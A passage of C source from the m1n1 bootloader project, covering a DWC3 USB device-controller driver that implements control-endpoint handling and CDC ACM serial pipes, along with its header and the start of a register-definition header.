USB_REQUEST_GET_STATUS: { static const u16 device_status = 0x0000; // reserved dev->ep0_buffer = &device_status; dev->ep0_buffer_len = 2; dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND; break; } case USB_REQUEST_CLEAR_FEATURE: { switch (setup->feature.wFeatureSelector) { case USB_FEATURE_ENDPOINT_HALT: usb_debug_printf("Host cleared EP 0x%x stall\n", setup->feature.wEndpoint); usb_dwc3_ep_set_stall(dev, ep_to_num(setup->feature.wEndpoint), 0); usb_dwc3_start_status_phase(dev, USB_LEP_CTRL_IN); dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND_STATUS_DONE; break; default: usb_dwc3_ep_set_stall(dev, 0, 1); dev->ep0_state = USB_DWC3_EP0_STATE_IDLE; usb_debug_printf("unsupported CLEAR FEATURE: 0x%x\n", setup->feature.wFeatureSelector); break; } break; } default: usb_dwc3_ep_set_stall(dev, 0, 1); dev->ep0_state = USB_DWC3_EP0_STATE_IDLE; usb_debug_printf("unsupported SETUP packet\n"); } } static void usb_dwc3_ep0_handle_standard(dwc3_dev_t *dev, const union usb_setup_packet *setup) { switch (setup->raw.bmRequestType & USB_REQUEST_TYPE_RECIPIENT_MASK) { case USB_REQUEST_TYPE_RECIPIENT_DEVICE: usb_dwc3_ep0_handle_standard_device(dev, setup); break; case USB_REQUEST_TYPE_RECIPIENT_INTERFACE: usb_dwc3_ep0_handle_standard_interface(dev, setup); break; case USB_REQUEST_TYPE_RECIPIENT_ENDPOINT: usb_dwc3_ep0_handle_standard_endpoint(dev, setup); break; default: usb_dwc3_ep_set_stall(dev, 0, 1); dev->ep0_state = USB_DWC3_EP0_STATE_IDLE; usb_debug_printf("unimplemented request recipient\n"); } } static void usb_dwc3_ep0_handle_class(dwc3_dev_t *dev, const union usb_setup_packet *setup) { int pipe = setup->raw.wIndex / 2; switch (setup->raw.bRequest) { case USB_REQUEST_CDC_GET_LINE_CODING: dev->ep0_buffer_len = min(setup->raw.wLength, sizeof(dev->pipe[pipe].cdc_line_coding)); dev->ep0_buffer = dev->pipe[pipe].cdc_line_coding; dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND; break; case USB_REQUEST_CDC_SET_CTRL_LINE_STATE: if (setup->raw.wValue & 1) { // DTR dev->pipe[pipe].ready = false; usb_debug_printf("ACM device opened\n"); dev->pipe[pipe].ready = true; } else { dev->pipe[pipe].ready = false; usb_debug_printf("ACM device closed\n"); } usb_dwc3_start_status_phase(dev, USB_LEP_CTRL_IN); dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND_STATUS_DONE; break; case USB_REQUEST_CDC_SET_LINE_CODING: dev->ep0_read_buffer = dev->pipe[pipe].cdc_line_coding; dev->ep0_read_buffer_len = min(setup->raw.wLength, sizeof(dev->pipe[pipe].cdc_line_coding)); dev->ep0_state = USB_DWC3_EP0_STATE_DATA_RECV; break; default: usb_dwc3_ep_set_stall(dev, 0, 1); dev->ep0_state = USB_DWC3_EP0_STATE_IDLE; usb_debug_printf("unsupported SETUP packet\n"); } } static void usb_dwc3_ep0_handle_setup(dwc3_dev_t *dev) { const union usb_setup_packet *setup = dev->endpoints[0].xfer_buffer; switch (setup->raw.bmRequestType & USB_REQUEST_TYPE_MASK) { case USB_REQUEST_TYPE_STANDARD: usb_dwc3_ep0_handle_standard(dev, setup); break; case USB_REQUEST_TYPE_CLASS: usb_dwc3_ep0_handle_class(dev, setup); break; default: usb_debug_printf("unsupported request type\n"); usb_dwc3_ep_set_stall(dev, 0, 1); dev->ep0_state = USB_DWC3_EP0_STATE_IDLE; } } static void usb_dwc3_ep0_handle_xfer_done(dwc3_dev_t *dev, const struct dwc3_event_depevt event) { switch (dev->ep0_state) { case USB_DWC3_EP0_STATE_SETUP_HANDLE: usb_dwc3_ep0_handle_setup(dev); break; case USB_DWC3_EP0_STATE_DATA_RECV_STATUS_DONE: case USB_DWC3_EP0_STATE_DATA_SEND_STATUS_DONE: usb_dwc3_start_setup_phase(dev); dev->ep0_state = USB_DWC3_EP0_STATE_SETUP_HANDLE; break; case USB_DWC3_EP0_STATE_DATA_SEND_DONE: dev->ep0_state = USB_DWC3_EP0_STATE_DATA_RECV_STATUS; break; case USB_DWC3_EP0_STATE_DATA_RECV_DONE: memcpy(dev->ep0_read_buffer, dev->endpoints[event.endpoint_number].xfer_buffer, dev->ep0_read_buffer_len); dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND_STATUS; break; case USB_DWC3_EP0_STATE_IDLE: default: usb_debug_printf("invalid state in usb_dwc3_ep0_handle_xfer_done: %d, %s\n", dev->ep0_state, ep0_state_names[dev->ep0_state]); usb_dwc3_ep_set_stall(dev, 0, 1); dev->ep0_state = USB_DWC3_EP0_STATE_IDLE; } } static void usb_dwc3_ep0_handle_xfer_not_ready(dwc3_dev_t *dev, const struct dwc3_event_depevt event) { switch (dev->ep0_state) { case USB_DWC3_EP0_STATE_IDLE: usb_dwc3_start_setup_phase(dev); dev->ep0_state = USB_DWC3_EP0_STATE_SETUP_HANDLE; break; case USB_DWC3_EP0_STATE_DATA_SEND: if (usb_dwc3_ep0_start_data_send_phase(dev)) usb_debug_printf("cannot start xtrl xfer data phase for EP 1.\n"); dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND_DONE; break; case USB_DWC3_EP0_STATE_DATA_RECV: if (usb_dwc3_ep0_start_data_recv_phase(dev)) usb_debug_printf("cannot start xtrl xfer data phase for EP 0.\n"); dev->ep0_state = USB_DWC3_EP0_STATE_DATA_RECV_DONE; break; case USB_DWC3_EP0_STATE_DATA_RECV_STATUS: usb_dwc3_start_status_phase(dev, USB_LEP_CTRL_OUT); dev->ep0_state = USB_DWC3_EP0_STATE_DATA_RECV_STATUS_DONE; break; case USB_DWC3_EP0_STATE_DATA_SEND_STATUS: usb_dwc3_start_status_phase(dev, USB_LEP_CTRL_IN); dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND_STATUS_DONE; break; default: usb_debug_printf( "invalid state in usb_dwc3_ep0_handle_xfer_not_ready: %d, %s for ep %d (%x)\n", dev->ep0_state, ep0_state_names[dev->ep0_state], event.endpoint_number, event.endpoint_event); usb_dwc3_ep_set_stall(dev, 0, 1); dev->ep0_state = USB_DWC3_EP0_STATE_IDLE; } } ringbuffer_t *usb_dwc3_cdc_get_ringbuffer(dwc3_dev_t *dev, u8 endpoint_number) { switch (endpoint_number) { case USB_LEP_CDC_BULK_IN: return dev->pipe[CDC_ACM_PIPE_0].device2host; case USB_LEP_CDC_BULK_OUT: return dev->pipe[CDC_ACM_PIPE_0].host2device; case USB_LEP_CDC_BULK_IN_2: return dev->pipe[CDC_ACM_PIPE_1].device2host; case USB_LEP_CDC_BULK_OUT_2: return dev->pipe[CDC_ACM_PIPE_1].host2device; default: return NULL; } } static void usb_dwc3_cdc_start_bulk_out_xfer(dwc3_dev_t *dev, u8 endpoint_number) { struct dwc3_trb *trb; uintptr_t trb_iova; if (dev->endpoints[endpoint_number].xfer_in_progress) return; ringbuffer_t *host2device = usb_dwc3_cdc_get_ringbuffer(dev, endpoint_number); if (!host2device) return; if (ringbuffer_get_free(host2device) < XFER_SIZE) return; memset(dev->endpoints[endpoint_number].xfer_buffer, 0xaa, XFER_SIZE); trb_iova = usb_dwc3_init_trb(dev, endpoint_number, &trb); trb->ctrl |= DWC3_TRBCTL_NORMAL; trb->size = DWC3_TRB_SIZE_LENGTH(XFER_SIZE); usb_dwc3_ep_start_transfer(dev, endpoint_number, trb_iova); dev->endpoints[endpoint_number].xfer_in_progress = true; } static void usb_dwc3_cdc_start_bulk_in_xfer(dwc3_dev_t *dev, u8 endpoint_number) { struct dwc3_trb *trb; uintptr_t trb_iova; if (dev->endpoints[endpoint_number].xfer_in_progress) return; ringbuffer_t *device2host = usb_dwc3_cdc_get_ringbuffer(dev, endpoint_number); if (!device2host) return; size_t len = ringbuffer_read(dev->endpoints[endpoint_number].xfer_buffer, XFER_SIZE, device2host); if (!len && !dev->endpoints[endpoint_number].zlp_pending) return; trb_iova = usb_dwc3_init_trb(dev, endpoint_number, &trb); trb->ctrl |= DWC3_TRBCTL_NORMAL; trb->size = DWC3_TRB_SIZE_LENGTH(len); usb_dwc3_ep_start_transfer(dev, endpoint_number, trb_iova); dev->endpoints[endpoint_number].xfer_in_progress = true; dev->endpoints[endpoint_number].zlp_pending = (len % 512) == 0; } static void usb_dwc3_cdc_handle_bulk_out_xfer_done(dwc3_dev_t *dev, const struct dwc3_event_depevt event) { ringbuffer_t *host2device = usb_dwc3_cdc_get_ringbuffer(dev, event.endpoint_number); if (!host2device) return; size_t len = min(XFER_SIZE, ringbuffer_get_free(host2device)); ringbuffer_write(dev->endpoints[event.endpoint_number].xfer_buffer, len - dev->endpoints[event.endpoint_number].trb->size, host2device); } static void usb_dwc3_handle_event_ep(dwc3_dev_t *dev, const struct dwc3_event_depevt event) { if (event.endpoint_event == DWC3_DEPEVT_XFERCOMPLETE) { dev->endpoints[event.endpoint_number].xfer_in_progress = false; switch (event.endpoint_number) { case USB_LEP_CTRL_IN: case USB_LEP_CTRL_OUT: return usb_dwc3_ep0_handle_xfer_done(dev, event); case USB_LEP_CDC_INTR_IN: // [[fallthrough]] case USB_LEP_CDC_INTR_IN_2: return; case USB_LEP_CDC_BULK_IN: // [[fallthrough]] case USB_LEP_CDC_BULK_IN_2: return; case USB_LEP_CDC_BULK_OUT: // [[fallthrough]] case USB_LEP_CDC_BULK_OUT_2: return usb_dwc3_cdc_handle_bulk_out_xfer_done(dev, event); } } else if (event.endpoint_event == DWC3_DEPEVT_XFERNOTREADY) { /* * this might be a bug, we sometimes get spurious events like these here. * ignoring them works just fine though */ if (dev->endpoints[event.endpoint_number].xfer_in_progress) return; switch (event.endpoint_number) { case USB_LEP_CTRL_IN: case USB_LEP_CTRL_OUT: return usb_dwc3_ep0_handle_xfer_not_ready(dev, event); case USB_LEP_CDC_INTR_IN: // [[fallthrough]] case USB_LEP_CDC_INTR_IN_2: return; case USB_LEP_CDC_BULK_IN: // [[fallthrough]] case USB_LEP_CDC_BULK_IN_2: return usb_dwc3_cdc_start_bulk_in_xfer(dev, event.endpoint_number); case USB_LEP_CDC_BULK_OUT: // [[fallthrough]] case USB_LEP_CDC_BULK_OUT_2: return usb_dwc3_cdc_start_bulk_out_xfer(dev, event.endpoint_number); } } usb_debug_printf("unhandled EP %02x event: %s (0x%02x) (%d)\n", event.endpoint_number, depvt_names[event.endpoint_event], event.endpoint_event, dev->endpoints[event.endpoint_number].xfer_in_progress); usb_dwc3_ep_set_stall(dev, event.endpoint_event, 1); } static void usb_dwc3_handle_event_usbrst(dwc3_dev_t *dev) { /* clear STALL mode for all endpoints */ dev->endpoints[0].xfer_in_progress = false; for (int i = 1; i < MAX_ENDPOINTS; ++i) { dev->endpoints[i].xfer_in_progress = false; memset(dev->endpoints[i].xfer_buffer, 0, XFER_BUFFER_BYTES_PER_EP); memset(dev->endpoints[i].trb, 0, TRBS_PER_EP * sizeof(struct dwc3_trb)); usb_dwc3_ep_set_stall(dev, i, 0); } /* set device address back to zero */ mask32(dev->regs + DWC3_DCFG, DWC3_DCFG_DEVADDR_MASK, DWC3_DCFG_DEVADDR(0)); /* only keep control endpoints enabled */ write32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(0) | DWC3_DALEPENA_EP(1)); } static void usb_dwc3_handle_event_connect_done(dwc3_dev_t *dev) { u32 speed = read32(dev->regs + DWC3_DSTS) & DWC3_DSTS_CONNECTSPD; if (speed != DWC3_DSTS_HIGHSPEED) { usb_debug_printf( "WARNING: we only support high speed right now but %02x was requested in DSTS\n", speed); } usb_dwc3_start_setup_phase(dev); dev->ep0_state = USB_DWC3_EP0_STATE_SETUP_HANDLE; } static void usb_dwc3_handle_event_dev(dwc3_dev_t *dev, const struct dwc3_event_devt event) { usb_debug_printf("device event: %s (0x%02x)\n", devt_names[event.type], event.type); switch (event.type) { case DWC3_DEVT_USBRST: usb_dwc3_handle_event_usbrst(dev); break; case DWC3_DEVT_CONNECTDONE: usb_dwc3_handle_event_connect_done(dev); break; default: usb_debug_printf("unhandled device event: %s (0x%02x)\n", devt_names[event.type], event.type); } } static void usb_dwc3_handle_event(dwc3_dev_t *dev, const union dwc3_event event) { if (!event.type.is_devspec) usb_dwc3_handle_event_ep(dev, event.depevt); else if (event.type.type == DWC3_EVENT_TYPE_DEV) usb_dwc3_handle_event_dev(dev, event.devt); else usb_debug_printf("unknown event %08x\n", event.raw); } void usb_dwc3_handle_events(dwc3_dev_t *dev) { if (!dev) return; u32 n_events = read32(dev->regs + DWC3_GEVNTCOUNT(0)) / sizeof(union dwc3_event); if (n_events == 0) return; dma_rmb(); const union dwc3_event *evtbuffer = dev->evtbuffer; for (u32 i = 0; i < n_events; ++i) { usb_dwc3_handle_event(dev, evtbuffer[dev->evt_buffer_offset]); dev->evt_buffer_offset = (dev->evt_buffer_offset + 1) % (DWC3_EVENT_BUFFERS_SIZE / sizeof(union dwc3_event)); } write32(dev->regs + DWC3_GEVNTCOUNT(0), sizeof(union dwc3_event) * n_events); } dwc3_dev_t *usb_dwc3_init(uintptr_t regs, dart_dev_t *dart) { /* sanity check */ u32 snpsid = read32(regs + DWC3_GSNPSID); if ((snpsid & DWC3_GSNPSID_MASK) != 0x33310000) { debug_printf("no DWC3 core found at 0x%lx: %08x\n", regs, snpsid); return NULL; } dwc3_dev_t *dev = calloc(1, sizeof(*dev)); if (!dev) return NULL; memset(dev, 0, sizeof(*dev)); for (int i = 0; i < CDC_ACM_PIPE_MAX; i++) memcpy(dev->pipe[i].cdc_line_coding, cdc_default_line_coding, sizeof(cdc_default_line_coding)); dev->regs = regs; dev->dart = dart; /* allocate and map dma buffers */ dev->evtbuffer = memalign(SZ_16K, max(DWC3_EVENT_BUFFERS_SIZE, SZ_16K)); if (!dev->evtbuffer) goto error; dev->scratchpad = memalign(SZ_16K, max(DWC3_SCRATCHPAD_SIZE, SZ_16K)); if (!dev->scratchpad) goto error; dev->trbs = memalign(SZ_16K, TRB_BUFFER_SIZE); if (!dev->trbs) goto error; dev->xferbuffer = memalign(SZ_16K, XFER_BUFFER_SIZE); if (!dev->xferbuffer) goto error; memset(dev->evtbuffer, 0xaa, max(DWC3_EVENT_BUFFERS_SIZE, SZ_16K)); memset(dev->scratchpad, 0, max(DWC3_SCRATCHPAD_SIZE, SZ_16K)); memset(dev->xferbuffer, 0, XFER_BUFFER_SIZE); memset(dev->trbs, 0, TRB_BUFFER_SIZE); if (dart_map(dev->dart, EVENT_BUFFER_IOVA, dev->evtbuffer, max(DWC3_EVENT_BUFFERS_SIZE, SZ_16K))) goto error; if (dart_map(dev->dart, SCRATCHPAD_IOVA, dev->scratchpad, max(DWC3_SCRATCHPAD_SIZE, SZ_16K))) goto error; if (dart_map(dev->dart, TRB_BUFFER_IOVA, dev->trbs, TRB_BUFFER_SIZE)) goto error; if (dart_map(dev->dart, XFER_BUFFER_IOVA, dev->xferbuffer, XFER_BUFFER_SIZE)) goto error; /* prepare endpoint buffers */ for (int i = 0; i < MAX_ENDPOINTS; ++i) { u32 xferbuffer_offset = i * XFER_BUFFER_BYTES_PER_EP; dev->endpoints[i].xfer_buffer = dev->xferbuffer + xferbuffer_offset; dev->endpoints[i].xfer_buffer_iova = XFER_BUFFER_IOVA + xferbuffer_offset; u32 trb_offset = i * TRBS_PER_EP; dev->endpoints[i].trb = &dev->trbs[i * TRBS_PER_EP]; dev->endpoints[i].trb_iova = TRB_BUFFER_IOVA + trb_offset * sizeof(struct dwc3_trb); } /* reset the device side of the controller */ set32(dev->regs + DWC3_DCTL, DWC3_DCTL_CSFTRST); if (poll32(dev->regs + DWC3_DCTL, DWC3_DCTL_CSFTRST, 0, 1000)) { usb_debug_printf("timeout while waiting for DWC3_DCTL_CSFTRST to clear.\n"); goto error; } /* soft reset the core and phy */ set32(dev->regs + DWC3_GCTL, DWC3_GCTL_CORESOFTRESET); set32(dev->regs + DWC3_GUSB3PIPECTL(0), DWC3_GUSB3PIPECTL_PHYSOFTRST); set32(dev->regs + DWC3_GUSB2PHYCFG(0), DWC3_GUSB2PHYCFG_PHYSOFTRST); mdelay(100); clear32(dev->regs + DWC3_GUSB3PIPECTL(0), DWC3_GUSB3PIPECTL_PHYSOFTRST); clear32(dev->regs + DWC3_GUSB2PHYCFG(0), DWC3_GUSB2PHYCFG_PHYSOFTRST); mdelay(100); clear32(dev->regs + DWC3_GCTL, DWC3_GCTL_CORESOFTRESET); mdelay(100); /* disable unused features */ clear32(dev->regs + DWC3_GCTL, DWC3_GCTL_SCALEDOWN_MASK | DWC3_GCTL_DISSCRAMBLE); /* switch to device-only mode */ mask32(dev->regs + DWC3_GCTL, DWC3_GCTL_PRTCAPDIR(DWC3_GCTL_PRTCAP_OTG), DWC3_GCTL_PRTCAPDIR(DWC3_GCTL_PRTCAP_DEVICE)); /* stick to USB 2.0 high speed for now */ mask32(dev->regs + DWC3_DCFG, DWC3_DCFG_SPEED_MASK, DWC3_DCFG_HIGHSPEED); /* setup scratchpad at SCRATCHPAD_IOVA */ if (usb_dwc3_command(dev, DWC3_DGCMD_SET_SCRATCHPAD_ADDR_LO, SCRATCHPAD_IOVA)) { usb_debug_printf("DWC3_DGCMD_SET_SCRATCHPAD_ADDR_LO failed."); goto error; } if (usb_dwc3_command(dev, DWC3_DGCMD_SET_SCRATCHPAD_ADDR_HI, 0)) { usb_debug_printf("DWC3_DGCMD_SET_SCRATCHPAD_ADDR_HI failed."); goto error; } /* setup a single event buffer at EVENT_BUFFER_IOVA */ write32(dev->regs + DWC3_GEVNTADRLO(0), EVENT_BUFFER_IOVA); write32(dev->regs + DWC3_GEVNTADRHI(0), 0); write32(dev->regs + DWC3_GEVNTSIZ(0), DWC3_EVENT_BUFFERS_SIZE); write32(dev->regs + DWC3_GEVNTCOUNT(0), 0); /* enable connect, disconnect and reset events */ write32(dev->regs + DWC3_DEVTEN, DWC3_DEVTEN_DISCONNEVTEN | DWC3_DEVTEN_USBRSTEN | DWC3_DEVTEN_CONNECTDONEEN); if (usb_dwc3_ep_command(dev, 0, DWC3_DEPCMD_DEPSTARTCFG, 0, 0, 0)) { usb_debug_printf("cannot issue initial DWC3_DEPCMD_DEPSTARTCFG.\n"); goto error; } /* prepare control endpoint 0 IN and OUT */ if (usb_dwc3_ep_configure(dev, USB_LEP_CTRL_OUT, DWC3_DEPCMD_TYPE_CONTROL, 64)) goto error; if (usb_dwc3_ep_configure(dev, USB_LEP_CTRL_IN, DWC3_DEPCMD_TYPE_CONTROL, 64)) goto error; /* prepare CDC ACM interfaces */ dev->pipe[CDC_ACM_PIPE_0].ep_intr = USB_LEP_CDC_INTR_IN; dev->pipe[CDC_ACM_PIPE_0].ep_in = USB_LEP_CDC_BULK_IN; dev->pipe[CDC_ACM_PIPE_0].ep_out = USB_LEP_CDC_BULK_OUT; dev->pipe[CDC_ACM_PIPE_1].ep_intr = USB_LEP_CDC_INTR_IN_2; dev->pipe[CDC_ACM_PIPE_1].ep_in = USB_LEP_CDC_BULK_IN_2; dev->pipe[CDC_ACM_PIPE_1].ep_out = USB_LEP_CDC_BULK_OUT_2; for (int i = 0; i < CDC_ACM_PIPE_MAX; i++) { dev->pipe[i].host2device = ringbuffer_alloc(CDC_BUFFER_SIZE); if (!dev->pipe[i].host2device) goto error; dev->pipe[i].device2host = ringbuffer_alloc(CDC_BUFFER_SIZE); if (!dev->pipe[i].device2host) goto error; /* prepare INTR endpoint so that we don't have to reconfigure this device later */ if (usb_dwc3_ep_configure(dev, dev->pipe[i].ep_intr, DWC3_DEPCMD_TYPE_INTR, 64)) goto error; /* prepare BULK endpoints so that we don't have to reconfigure this device later */ if (usb_dwc3_ep_configure(dev, dev->pipe[i].ep_in, DWC3_DEPCMD_TYPE_BULK, 512)) goto error; if (usb_dwc3_ep_configure(dev, dev->pipe[i].ep_out, DWC3_DEPCMD_TYPE_BULK, 512)) goto error; } /* prepare first control transfer */ dev->ep0_state = USB_DWC3_EP0_STATE_IDLE; /* only enable control endpoints for now */ write32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CTRL_IN) | DWC3_DALEPENA_EP(USB_LEP_CTRL_OUT)); /* and finally kick the device controller to go live! */ set32(dev->regs + DWC3_DCTL, DWC3_DCTL_RUN_STOP); return dev; error: usb_dwc3_shutdown(dev); return NULL; } void usb_dwc3_shutdown(dwc3_dev_t *dev) { for (int i = 0; i < CDC_ACM_PIPE_MAX; i++) dev->pipe[i].ready = false; /* stop all ongoing transfers */ for (int i = 1; i < MAX_ENDPOINTS; ++i) { if (!dev->endpoints[i].xfer_in_progress) continue; if (usb_dwc3_ep_command(dev, i, DWC3_DEPCMD_ENDTRANSFER, 0, 0, 0)) usb_debug_printf("cannot issue DWC3_DEPCMD_ENDTRANSFER for EP %02x.\n", i); } /* disable events and all endpoints and stop the device controller */ write32(dev->regs + DWC3_DEVTEN, 0); write32(dev->regs + DWC3_DALEPENA, 0); clear32(dev->regs + DWC3_DCTL, DWC3_DCTL_RUN_STOP); /* wait until the controller is shut down */ if (poll32(dev->regs + DWC3_DSTS, DWC3_DSTS_DEVCTRLHLT, DWC3_DSTS_DEVCTRLHLT, 1000)) usb_debug_printf("timeout while waiting for DWC3_DSTS_DEVCTRLHLT during shutdown.\n"); /* reset the device side of the controller just to be safe */ set32(dev->regs + DWC3_DCTL, DWC3_DCTL_CSFTRST); if (poll32(dev->regs + DWC3_DCTL, DWC3_DCTL_CSFTRST, 0, 1000)) usb_debug_printf("timeout while waiting for DWC3_DCTL_CSFTRST to clear during shutdown.\n"); /* unmap and free dma buffers */ dart_unmap(dev->dart, TRB_BUFFER_IOVA, TRB_BUFFER_SIZE); dart_unmap(dev->dart, XFER_BUFFER_IOVA, XFER_BUFFER_SIZE); dart_unmap(dev->dart, SCRATCHPAD_IOVA, max(DWC3_SCRATCHPAD_SIZE, SZ_16K)); dart_unmap(dev->dart, EVENT_BUFFER_IOVA, max(DWC3_EVENT_BUFFERS_SIZE, SZ_16K)); free(dev->evtbuffer); free(dev->scratchpad); free(dev->xferbuffer); free(dev->trbs); for (int i = 0; i < CDC_ACM_PIPE_MAX; i++) { ringbuffer_free(dev->pipe[i].device2host); ringbuffer_free(dev->pipe[i].host2device); } if (dev->dart) dart_shutdown(dev->dart); free(dev); } u8 usb_dwc3_getbyte(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe) { ringbuffer_t *host2device = dev->pipe[pipe].host2device; if (!host2device) return 0; u8 ep = dev->pipe[pipe].ep_out; u8 c; while (ringbuffer_read(&c, 1, host2device) < 1) { usb_dwc3_handle_events(dev); usb_dwc3_cdc_start_bulk_out_xfer(dev, ep); } return c; } void usb_dwc3_putbyte(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe, u8 byte) { ringbuffer_t *device2host = dev->pipe[pipe].device2host; if (!device2host) return; u8 ep = dev->pipe[pipe].ep_in; while (ringbuffer_write(&byte, 1, device2host) < 1) { usb_dwc3_handle_events(dev); usb_dwc3_cdc_start_bulk_in_xfer(dev, ep); } } size_t usb_dwc3_queue(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe, const void *buf, size_t count) { const u8 *p = buf; size_t wrote, sent = 0; if (!dev || !dev->pipe[pipe].ready) return 0; ringbuffer_t *device2host = dev->pipe[pipe].device2host; if (!device2host) return 0; u8 ep = dev->pipe[pipe].ep_in; while (count) { wrote = ringbuffer_write(p, count, device2host); count -= wrote; p += wrote; sent += wrote; if (count) { usb_dwc3_handle_events(dev); usb_dwc3_cdc_start_bulk_in_xfer(dev, ep); } } return sent; } size_t usb_dwc3_write(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe, const void *buf, size_t count) { if (!dev) return -1; u8 ep = dev->pipe[pipe].ep_in; size_t ret = usb_dwc3_queue(dev, pipe, buf, count); usb_dwc3_cdc_start_bulk_in_xfer(dev, ep); return ret; } size_t usb_dwc3_read(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe, void *buf, size_t count) { u8 *p = buf; size_t read, recvd = 0; if (!dev || !dev->pipe[pipe].ready) return 0; ringbuffer_t *host2device = dev->pipe[pipe].host2device; if (!host2device) return 0; u8 ep = dev->pipe[pipe].ep_out; while (count) { read = ringbuffer_read(p, count, host2device); count -= read; p += read; recvd += read; usb_dwc3_handle_events(dev); usb_dwc3_cdc_start_bulk_out_xfer(dev, ep); } return recvd; } ssize_t usb_dwc3_can_read(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe) { if (!dev || !dev->pipe[pipe].ready) return 0; ringbuffer_t *host2device = dev->pipe[pipe].host2device; if (!host2device) return 0; return ringbuffer_get_used(host2device); } bool usb_dwc3_can_write(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe) { (void)pipe; if (!dev) return false; return dev->pipe[pipe].ready; } void usb_dwc3_flush(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe) { if (!dev || !dev->pipe[pipe].ready) return; ringbuffer_t *device2host = dev->pipe[pipe].device2host; if (!device2host) return; u8 ep = dev->pipe[pipe].ep_in; while (ringbuffer_get_used(device2host) != 0 || dev->endpoints[ep].xfer_in_progress) { usb_dwc3_handle_events(dev); } } m1n1-1.4.11/src/usb_dwc3.h000066400000000000000000000020141453754430200150270ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef USB_DWC3_H #define USB_DWC3_H #include "dart.h" #include "types.h" typedef struct dwc3_dev dwc3_dev_t; typedef enum _cdc_acm_pipe_id_t { CDC_ACM_PIPE_0, CDC_ACM_PIPE_1, CDC_ACM_PIPE_MAX } cdc_acm_pipe_id_t; dwc3_dev_t *usb_dwc3_init(uintptr_t regs, dart_dev_t *dart); void usb_dwc3_shutdown(dwc3_dev_t *dev); void usb_dwc3_handle_events(dwc3_dev_t *dev); ssize_t usb_dwc3_can_read(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe); bool usb_dwc3_can_write(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe); u8 usb_dwc3_getbyte(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe); void usb_dwc3_putbyte(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe, u8 byte); size_t usb_dwc3_read(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe, void *buf, size_t count); size_t usb_dwc3_write(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe, const void *buf, size_t count); size_t usb_dwc3_queue(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe, const void *buf, size_t count); void usb_dwc3_flush(dwc3_dev_t *dev, cdc_acm_pipe_id_t pipe); #endif m1n1-1.4.11/src/usb_dwc3_regs.h000066400000000000000000000521051453754430200160550ustar00rootroot00000000000000/** * core.h - DesignWare USB3 DRD Core Header * linux commit 7bc5a6ba369217e0137833f5955cf0b0f08b0712 before * the switch to GPLv2 only * * Copyright (C) 2010-2011 Texas Instruments Incorporated - http://www.ti.com * * Authors: Felipe Balbi , * Sebastian Andrzej Siewior * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions, and the following disclaimer, * without modification. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The names of the above-listed copyright holders may not be used * to endorse or promote products derived from this software without * specific prior written permission. * * ALTERNATIVELY, this software may be distributed under the terms of the * GNU General Public License ("GPL") version 2, as published by the Free * Software Foundation. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef __DRIVERS_USB_DWC3_CORE_H #define __DRIVERS_USB_DWC3_CORE_H #include "types.h" /* Global constants */ #define DWC3_EP0_BOUNCE_SIZE 512 #define DWC3_ENDPOINTS_NUM 32 #define DWC3_XHCI_RESOURCES_NUM 2 #define DWC3_EVENT_SIZE 4 /* bytes */ #define DWC3_EVENT_MAX_NUM 64 /* 2 events/endpoint */ #define DWC3_EVENT_BUFFERS_SIZE (DWC3_EVENT_SIZE * DWC3_EVENT_MAX_NUM) #define DWC3_EVENT_TYPE_MASK 0xfe #define DWC3_EVENT_TYPE_DEV 0 #define DWC3_EVENT_TYPE_CARKIT 3 #define DWC3_EVENT_TYPE_I2C 4 #define DWC3_DEVICE_EVENT_DISCONNECT 0 #define DWC3_DEVICE_EVENT_RESET 1 #define DWC3_DEVICE_EVENT_CONNECT_DONE 2 #define DWC3_DEVICE_EVENT_LINK_STATUS_CHANGE 3 #define DWC3_DEVICE_EVENT_WAKEUP 4 #define DWC3_DEVICE_EVENT_HIBER_REQ 5 #define DWC3_DEVICE_EVENT_EOPF 6 #define DWC3_DEVICE_EVENT_SOF 7 #define 